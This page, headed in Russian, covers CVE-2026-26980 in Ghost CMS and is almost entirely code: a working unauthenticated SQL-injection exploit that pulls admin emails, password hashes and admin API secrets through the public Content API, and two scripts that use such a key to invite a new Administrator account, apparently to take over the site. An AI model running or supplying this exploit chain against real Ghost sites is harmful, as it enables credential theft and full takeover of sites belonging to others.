CVE-2026-26980: SQL-инъекция в Ghost CMS

# .env
GHOST_URL=https://ваш-домен.com
GHOST_ADMIN_API_KEY=Admin API key ID:Admin API secret

import os
import jwt
import requests
from datetime import datetime, timedelta
from dotenv import load_dotenv
import urllib3

# Отключаем предупреждения о небезопасном запросе (только для тестов!)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Загружаем переменные из .env файла
load_dotenv()

def get_ghost_token():
    """Генерирует JWT токен для аутентификации в Ghost Admin API."""
    try:
        key = os.getenv('GHOST_ADMIN_API_KEY')
        if not key:
            raise ValueError("GHOST_ADMIN_API_KEY не найден в переменных окружения")
        id, secret = key.split(':')
        
        iat = int(datetime.now().timestamp())
        header = {'alg': 'HS256', 'typ': 'JWT', 'kid': id}
        payload = {
            'iat': iat,
            'exp': iat + 5 * 60,  # Токен истекает через 5 минут
            'aud': '/admin/'
        }
        
        token = jwt.encode(payload, bytes.fromhex(secret), algorithm='HS256', headers=header)
        return token
    except Exception as e:
        print(f"Ошибка при генерации токена: {e}")
        raise

def get_role_id(api_url, headers):
    """Получает ID роли 'Author'. Возвращает None, если роль не найдена."""
    try:
        # verify=False отключает проверку SSL-сертификата
        response = requests.get(
            f"{api_url}/roles/",
            headers=headers,
            params={'limit': 'all'},
            verify=False
        )
        response.raise_for_status()
        roles = response.json().get('roles', [])
        
        for role in roles:
            if role.get('name') == 'Author':
                return role.get('id')
        return None
    except Exception as e:
        print(f"Ошибка при получении ролей: {e}")
        return None

def send_invite(email, role_id):
    """Отправляет приглашение пользователю с указанной ролью."""
    base_url = os.getenv('GHOST_URL')
    if not base_url:
        raise ValueError("GHOST_URL не найден в переменных окружения")
    
    api_url = f"{base_url.rstrip('/')}/ghost/api/admin"
    token = get_ghost_token()
    
    headers = {
        'Authorization': f'Ghost {token}',
        'Content-Type': 'application/json',
        'Accept-Version': 'v5.0'  # Укажите версию вашего Ghost API
    }
    
    if not role_id:
        role_id = get_role_id(api_url, headers)
        if not role_id:
            raise Exception("Не удалось определить role_id для роли 'Author'.")
    
    payload = {
        "invites": [{
            "email": email,
            "role_id": role_id,
        }]
    }
    
    try:
        # verify=False отключает проверку SSL-сертификата
        response = requests.post(
            f"{api_url}/invites/",
            headers=headers,
            json=payload,
            verify=False
        )
        response.raise_for_status()
        print(f"Приглашение для {email} успешно отправлено!")
        return response.json()
    except requests.exceptions.RequestException as e:
        print(f"Ошибка при отправке приглашения: {e}")
        if e.response is not None:
            print(f"Ответ сервера: {e.response.text}")
        raise

if __name__ == "__main__":
    # === НАСТРОЙКА ===
    EMAIL = "[email protected]"
    # Если знаете точный ID роли, укажите здесь
    ROLE_ID = None
    # ==================
    
    send_invite(EMAIL, ROLE_ID)

# send_invite_admin.py
import os
import jwt
import requests
from datetime import datetime, timedelta
from dotenv import load_dotenv
import urllib3

# Отключаем предупреждения о небезопасном запросе (только для тестов!)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
load_dotenv()

def get_ghost_token():
    """Генерирует JWT токен для аутентификации в Ghost Admin API."""
    try:
        key = os.getenv('GHOST_ADMIN_API_KEY')
        if not key:
            raise ValueError("GHOST_ADMIN_API_KEY не найден в переменных окружения")
        id, secret = key.split(':')
        
        iat = int(datetime.now().timestamp())
        header = {'alg': 'HS256', 'typ': 'JWT', 'kid': id}
        payload = {
            'iat': iat,
            'exp': iat + 5 * 60,
            'aud': '/admin/'
        }
        token = jwt.encode(payload, bytes.fromhex(secret), algorithm='HS256', headers=header)
        return token
    except Exception as e:
        print(f"Ошибка при генерации токена: {e}")
        raise

def get_role_id(api_url, headers, role_name='Administrator'):
    """Получает ID указанной роли. По умолчанию ищет 'Administrator'."""
    try:
        response = requests.get(
            f"{api_url}/roles/",
            headers=headers,
            params={'limit': 'all'},
            verify=False
        )
        response.raise_for_status()
        roles = response.json().get('roles', [])
        
        for role in roles:
            if role.get('name') == role_name:
                return role.get('id')
        print(f"Роль '{role_name}' не найдена среди доступных ролей.")
        return None
    except Exception as e:
        print(f"Ошибка при получении ролей: {e}")
        return None

def send_invite(email, role_id=None, role_name='Administrator'):
    """Отправляет приглашение пользователю с указанной ролью."""
    base_url = os.getenv('GHOST_URL')
    if not base_url:
        raise ValueError("GHOST_URL не найден в переменных окружения")
    
    api_url = f"{base_url.rstrip('/')}/ghost/api/admin"
    token = get_ghost_token()
    
    headers = {
        'Authorization': f'Ghost {token}',
        'Content-Type': 'application/json',
        'Accept-Version': 'v5.0'
    }
    
    # Если role_id не передан, получаем его по имени роли
    if not role_id:
        role_id = get_role_id(api_url, headers, role_name)
        if not role_id:
            raise Exception(f"Не удалось определить role_id для роли '{role_name}'.")
    
    payload = {
        "invites": [{
            "email": email,
            "role_id": role_id,
        }]
    }
    
    try:
        response = requests.post(
            f"{api_url}/invites/",
            headers=headers,
            json=payload,
            verify=False
        )
        response.raise_for_status()
        print(f" Приглашение для {email} на роль '{role_name}' успешно отправлено!")
        return response.json()
    except requests.exceptions.RequestException as e:
        print(f" Ошибка при отправке приглашения: {e}")
        if e.response is not None:
            print(f"Ответ сервера: {e.response.text}")
        raise

if __name__ == "__main__":
    # === НАСТРОЙКИ ===
    EMAIL = "[email protected]"       # Email приглашаемого
    ROLE_NAME = "Administrator"           # Можно изменить на "Editor", "Author" и т.д.
    ROLE_ID = None                        # Если знаете ID роли, укажите здесь
    # ==================
    
    send_invite(EMAIL, role_id=ROLE_ID, role_name=ROLE_NAME)

# Exploit Title: Ghost CMS Unauthenticated SQLi via Content API
# Exploit Author: vognik
# Software Link: https://ghost.org/
# Version: Ghost >= 3.24.0, <= 6.19.0
# Tested on: Ghost 6.16.1
# CVE : CVE-2026-26980

#!/usr/bin/env python3

import requests
import re
import sys
import argparse
import textwrap
import csv
from typing import Optional
from concurrent.futures import ThreadPoolExecutor
from urllib.parse import urljoin, urlparse

CHARSET = "".join(sorted(set("$./0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz@!#%^&*()+-=")))
ERROR_INDICATOR = "InternalServerError"
DEFAULT_API_PATH = "/ghost/api/content/"
DEFAULT_THREADS = 15

class GhostExploit:
    def __init__(self, target_url: str, threads: int = DEFAULT_THREADS, dbms: str = "sqlite", output: str = None, user_cols: str = None, verify: bool = True, manual_key: str = None, manual_path: str = None):
        self.target = target_url.rstrip('/')
        self.threads = threads
        self.dbms = dbms.lower()
        self.output = output
        self.user_cols = [c.strip() for c in user_cols.split(',')] if user_cols else None
        self.session = requests.Session()
        self.session.verify = verify
        self.manual_key = manual_key
        self.manual_path = manual_path
        if not verify:
            import urllib3
            urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        self.api_key, self.endpoint, self.tag_slug, self.tag_id, self.url_template = "", "", "", "", ""

    def to_char_hex(self, s: str):
        if self.dbms == "mysql":
            return "0x" + "".join([f"{ord(c):02x}" for c in s])
        return "||".join([f"char({ord(c)})" for c in s])

    def discover(self) -> bool:
        try:
            if self.manual_key:
                self.api_key = self.manual_key
                path = self.manual_path if self.manual_path else DEFAULT_API_PATH
                self.endpoint = urljoin(self.target, path)
            else:
                r = self.session.get(self.target, timeout=10)
                r.raise_for_status()

                self.api_key = re.search(r'data-key="([a-f0-9]+)"', r.text).group(1)
                api_raw = re.search(r'data-api="([^"]+)"', r.text).group(1)
                path = urlparse(api_raw).path
                self.endpoint = urljoin(self.target, path)
            
            if not self.endpoint.endswith('/'):
                self.endpoint += '/'
            
            r = self.session.get(f"{self.endpoint}tags/?key={self.api_key}", timeout=10)
            r.raise_for_status()

            json_data = r.json()
            if 'tags' in json_data and json_data['tags']:
                tag = json_data['tags'][0]
                self.tag_slug, self.tag_id = tag['slug'], tag['id']
                self.url_template = f"{self.endpoint}tags/?key={self.api_key}&filter=slug:['*',{self.tag_slug}]&limit=all"
                return True
        except:
            return False

    def check(self, cond: str) -> bool:
        if self.dbms == "mysql":
            err_payload = "(SELECT exp(710))"
        else:
            err_payload = "(SELECT abs(-9223372036854775808))"

        payload = f" OR ({cond}) THEN {err_payload} WHEN slug="
        try:
            r = self.session.get(self.url_template.replace("*", payload, 1), timeout=7)
            return "badrequesterror" in r.text.lower() or ERROR_INDICATOR.lower() in r.text.lower()
        except: return False

    def get_len(self, query: str) -> int:
        length = 0
        for bit in [64, 32, 16, 8, 4, 2, 1]:
            if self.check(f"LENGTH(({query}))>={length + bit}"): length += bit
        return length

    def get_char(self, query: str, pos: int) -> str:
        low, high = 0, len(CHARSET) - 1
        while low < high:
            mid = (low + high) // 2
            char_code = ord(CHARSET[mid + 1])
            
            if self.dbms == "mysql":
                cond = f"ASCII(SUBSTR(({query}) FROM {pos} FOR 1))>={char_code}"
            else:
                prefix = "||".join(["char(63)"] * (pos - 1))
                c_range = f"char(91)||char({char_code})||char(45)||char({ord(CHARSET[-1])})||char(93)"
                cond = f"({query}) GLOB {prefix}||{c_range}||char(42)" if prefix else f"({query}) GLOB {c_range}||char(42)"

            if self.check(cond): low = mid + 1
            else: high = mid
        return CHARSET[low]

    def extract(self, query: str, label: str, force_len: int = None) -> str:
        length = force_len if force_len is not None else self.get_len(query)
        if length <= 0: return ""
        
        chars = [""] * length
        with ThreadPoolExecutor(max_workers=self.threads) as ex:
            futures = {ex.submit(self.get_char, query, i+1): i for i in range(length)}
            for f in futures:
                chars[futures[f]] = f.result()
                sys.stdout.write(f"\r  {label} ({length} chars): {''.join(c if c else '.' for c in chars)}")
                sys.stdout.flush()
        res = "".join(chars)
        sys.stdout.write(f"\r  {label} ({length} chars): {res}\n")
        return res

    def print_table(self, columns, rows):
        if not rows: return
        widths = {col: len(col) for col in columns}
        for row in rows:
            for col in columns:
                widths[col] = max(widths[col], len(str(row.get(col, ""))))

        sep = "+" + "+".join(["-" * (widths[col] + 2) for col in columns]) + "+"
        head = "|" + "|".join([f" {col.ljust(widths[col])} " for col in columns]) + "|"
        
        print("\n" + sep)
        print(head)
        print(sep)
        for row in rows:
            line = "|" + "|".join([f" {str(row.get(col, '')).ljust(widths[col])} " for col in columns]) + "|"
            print(line)
        print(sep + "\n")

    def dump_table(self, table_name: str):
        print(f"\n[*] Dumping table: {table_name}")
        cast_type = "CHAR" if self.dbms == "mysql" else "TEXT"
        
        count_str = self.extract(f"SELECT CAST(COUNT(*) AS {cast_type}) FROM {table_name}", "Total records")
        count = int(count_str) if count_str.isdigit() else 0
        if count == 0:
            print("[!] No records found or table doesn't exist.")
            return

        if self.user_cols:
            columns = self.user_cols
            print(f"[*] Using user-defined columns: {', '.join(columns)}")
        elif self.dbms == "sqlite":
            t_name_char = self.to_char_hex(table_name)
            schema_query = f"SELECT sql FROM sqlite_master WHERE name={t_name_char}"
            cols_raw = self.extract(schema_query, "Schema")
            columns = re.findall(r'([a-zA-Z_]+)\s+(?:TEXT|VARCHAR|INT|DATETIME|TIMESTAMP|BOOLEAN)', cols_raw, re.I)
        else:
            columns = ['id', 'email', 'name', 'password', 'status']

        if not columns: columns = ['id', 'email']
        
        all_rows = []
        for i in range(count):
            print(f"\n  --- Record #{i+1} ---")
            current_row = {}
            for col in columns:
                val = self.extract(f"SELECT {col} FROM {table_name} LIMIT 1 OFFSET {i}", col)
                current_row[col] = val
            all_rows.append(current_row)
        
        self.print_table(columns, all_rows)

        if self.output:
            try:
                with open(self.output, 'w', newline='', encoding='utf-8') as f:
                    writer = csv.DictWriter(f, fieldnames=columns)
                    writer.writeheader()
                    writer.writerows(all_rows)
                print(f"[+] Exported to {self.output}")
            except Exception as e:
                print(f"[!] Export error: {e}")

    def run_passive_check(self):
        print(f"[*] Passive check for: {self.target}")
        try:
            r = self.session.get(self.target, timeout=10)
            m = re.search(r'<meta name="generator" content="Ghost\s+([\d\.]+)', r.text)
            if m:
                ver_str = m.group(1)
                v = [int(x) for x in ver_str.split('.') if x.isdigit()]
                
                major = v[0] if len(v) > 0 else 0
                minor = v[1] if len(v) > 1 else 0
                
                is_v = (major == 3 and minor >= 24) or (4 <= major <= 5) or (major == 6 and minor <= 19)
                status = "appears to be vulnerable" if is_v else "is not vulnerable"
                print(f"[+] Passive result: version {ver_str} {status}")
            else:
                print("[-] Meta generator tag not found. Passive check failed.")
        except Exception as e:
            print(f"[!] Error during passive check: {e}")

    def run_default_flow(self):
        print("\n[*] Phase 1: Recon (fast checks)")
        l_email = self.get_len("SELECT email FROM users LIMIT 1")
        print(f"  length(users.email) = {l_email}")
        l_pass = self.get_len("SELECT password FROM users LIMIT 1")
        print(f"  length(users.password) = {l_pass}")
        l_name = self.get_len("SELECT name FROM users LIMIT 1")
        print(f"  length(users.name) = {l_name}")
        l_status = self.get_len("SELECT status FROM users LIMIT 1")
        print(f"  length(users.status) = {l_status}")

        for t in ["users", "members", "api_keys", "sessions"]:
            cast_t = "CHAR" if self.dbms == "mysql" else "TEXT"
            self.extract(f"SELECT CAST(COUNT(*) AS {cast_t}) FROM {t}", f"count({t})")

        print("\n[*] Phase 2: Extracting values")
        self.extract("SELECT email FROM users LIMIT 1", "Admin email", l_email)
        self.extract("SELECT name FROM users LIMIT 1", "Admin name", l_name)
        
        adm_type = self.to_char_hex("admin")
        self.extract(f"SELECT id FROM api_keys WHERE type={adm_type} LIMIT 1", "Admin API key ID")
        self.extract(f"SELECT secret FROM api_keys WHERE type={adm_type} LIMIT 1", "Admin API secret")
        self.extract("SELECT password FROM users LIMIT 1", "Password hash", l_pass)

    def print_banner(self):
        print("================================================================")
        print(f"Ghost CMS - Unauthenticated SQLi Data Extraction")
        print(f"Target:   {self.target}")
        print(f"API Key:  {self.api_key}")
        print(f"Tag ID:   {self.tag_id}")
        print("Endpoint: Content API (public, no auth)")
        print("================================================================")

    def run(self, table_to_dump: Optional[str] = None, check_mode: Optional[str] = None):
        if check_mode == "passive":
            return self.run_passive_check()

        if not self.discover():
            print("[!] Discovery failed. Could not find API Key or Endpoint.")
            return

        if check_mode == "active":
            print(f"[*] Active check for: {self.target}")
            is_v = self.check("1=1")
            status = "vulnerable" if is_v else "not vulnerable"
            print(f"[*] Active check: the target is {status}.")
            return

        self.print_banner()

        if not self.check("1=1"):
            print("\n[*] Calibrating oracle...")
            print("[!] Oracle calibration failed. Target might be patched or DBMS is wrong.")
            return
        else:
            print("\n[*] Calibrating oracle... OK")

        if table_to_dump:
            self.dump_table(table_to_dump)
        else:
            self.run_default_flow()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=textwrap.dedent("""
            Usage examples:
            python3 main.py -u http://target.com
            (Quickly extract admin email and password hash from a default SQLite setup)

            python3 main.py -u http://target.com -c passive
            (Check the site for the vulnerability using the meta tag on the main page)

            python3 main.py -u http://target.com -d mysql -T users -C email,password -o ./result.csv
            (Dump the "email" and "password" columns from the "users" table and save the result to "result.csv")

            python3 main.py -u http://target.com -d mysql -T api_keys -t 25
            (Dump all API keys from the "api_keys" table using 25 threads)

            Note: Most production Ghost instances use MySQL. Local/Small blogs use SQLite.
        """)
    )

    group_conn = parser.add_argument_group("Connection settings")
    group_conn.add_argument("-u", "--url", required=True, metavar="URL",
                            help="Set target Ghost instance URL")
    group_conn.add_argument("-a", "--api-key", metavar="KEY",
                            help="Set Content API key (skips auto-discovery)")
    group_conn.add_argument("-p", "--api-path", metavar="PATH", default=DEFAULT_API_PATH,
                            help="Set Content API path (default: %(default)s)")
    group_conn.add_argument("-k", "--insecure", action="store_true",
                            help="Skip SSL certificate verification")

    group_extr = parser.add_argument_group("Extraction settings")
    group_extr.add_argument("-c", "--check", metavar="MODE", choices=["passive", "active"],
                            help="Verify vulnerability: passive (meta tags) or active (SQL error)")
    group_extr.add_argument("-d", "--dbms", default="sqlite", choices=["sqlite", "mysql"],
                            help="Select database engine (default: %(default)s)")
    group_extr.add_argument("-T", "--table", metavar="NAME",
                            help="Set database table to dump (e.g., users, api_keys)")
    group_extr.add_argument("-C", "--columns", metavar="COL1,COL2",
                            help="Set columns to extract (comma-separated)")
    group_extr.add_argument("-t", "--threads", type=int, default=DEFAULT_THREADS, metavar="N",
                            help="Set number of concurrent threads (default: %(default)s)")

    group_out = parser.add_argument_group("Output settings")
    group_out.add_argument("-o", "--output", metavar="FILE",
                        help="Save results to the specified CSV file")
    args = parser.parse_args()
    
    try:
        exploit = GhostExploit(args.url, args.threads, args.dbms, args.output, args.columns, not args.insecure, args.api_key, args.api_path)
        exploit.run(args.table, args.check)
    except KeyboardInterrupt:
        print("\n[!] Aborted")